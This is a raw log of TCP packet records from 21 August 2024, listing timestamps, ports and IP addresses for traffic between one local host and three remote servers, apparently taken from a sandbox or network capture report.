Aug 21, 2024 08:32:16.621810913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621817112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621833086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621838093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621843100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621860027 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.621860981 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.621901035 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.621901035 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.621951103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621957064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621967077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621972084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621980906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621987104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622014046 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622042894 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622081041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622097969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622103930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622112989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622118950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622124910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622134924 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622167110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622622967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622628927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622641087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622646093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622656107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622661114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622674942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622678041 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622679949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622694016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622699022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622704029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622709036 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622714043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622723103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622726917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622736931 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622736931 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622745037 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622752905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622762918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622766972 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622769117 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622773886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622791052 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.622797966 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622816086 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.622843027 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.623241901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.623248100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.623253107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.623258114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.623311043 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.624248981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624298096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624303102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624320030 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.624330044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624336958 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624347925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624353886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624346018 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.624346018 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.624403954 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.624403954 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.624454021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624459982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624465942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624470949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624476910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624522924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624527931 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.624527931 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.624531031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.624566078 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.625030041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.625035048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.625046015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.625098944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.625135899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.625142097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.625153065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.625158072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.625191927 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.625217915 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.632402897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.632415056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.632421970 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.632464886 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.632469893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.632487059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.632500887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.632535934 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.632536888 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.632536888 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.632570028 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.633513927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633517981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633528948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633580923 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.633599043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633605003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633610010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633615017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633641005 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.633666992 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.633688927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633693933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633704901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633711100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633742094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.633764982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.633795023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633800983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633810997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633816004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633821011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633847952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.633872986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.633915901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633920908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633930922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633936882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.633970022 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.633991003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.634051085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.634053946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.634056091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.634097099 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.634340048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.634409904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.634416103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.634466887 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.634471893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.634479046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.634484053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.634490013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.634527922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.634527922 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.634558916 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.634607077 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.634993076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.634998083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635009050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635054111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635056973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.635060072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635071993 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635076046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.635103941 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.635130882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635134935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635183096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635189056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635188103 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.635222912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635230064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.635319948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.635330915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635380983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635386944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635391951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635396957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635437965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.635441065 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.635478973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635485888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635499001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635504961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635509968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635515928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.635571003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635591984 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.635596991 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635607004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635632038 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.635705948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635710955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635716915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635721922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635740995 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.635754108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.635766029 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.635766983 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.635790110 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.635924101 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.635943890 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.636025906 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.636039019 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.636049986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636060953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636065960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636086941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636122942 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636154890 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636178017 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.636435032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636446953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636452913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636459112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636526108 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636565924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636575937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636581898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636588097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636599064 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636605024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636617899 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636643887 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636683941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636693954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636699915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636710882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636715889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636720896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636727095 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636734009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636749983 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636795998 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636861086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636867046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636877060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636883020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636888027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.636912107 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636931896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.636956930 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.636975050 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.636989117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637063026 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.637073994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637109041 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.637116909 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.637123108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637177944 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.637180090 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.637300014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637305021 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637319088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637326002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637336969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637341976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637346983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.637356997 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.637382984 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.637412071 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.637574911 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.637589931 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.637640953 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.637646914 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.637746096 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.637746096 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.638020992 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.638034105 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.638134956 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.638142109 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.638225079 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.638328075 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.638343096 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.638415098 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.638428926 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.638478041 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.638482094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638488054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638501883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638518095 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638531923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638537884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638537884 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.638550997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638557911 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.638575077 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.638611078 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.638612032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638772964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638783932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638789892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638808966 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638813972 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638818979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638827085 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.638860941 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.638860941 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.638942957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638953924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638958931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638972998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638984919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.638987064 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.638991117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.639019966 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.639050961 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.639100075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.639240026 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.640428066 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.640444040 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.640507936 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.640523911 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.640567064 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.649250031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649257898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649265051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649303913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.649313927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649319887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649331093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649342060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649358988 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.649377108 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.649552107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649621010 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.649769068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649775028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649811029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649816036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649826050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.649831057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649837971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649843931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649858952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.649889946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.649924040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649933100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649939060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649944067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649949074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649954081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.649965048 CEST	80	49722	162.241.203.25	192.168.2.6
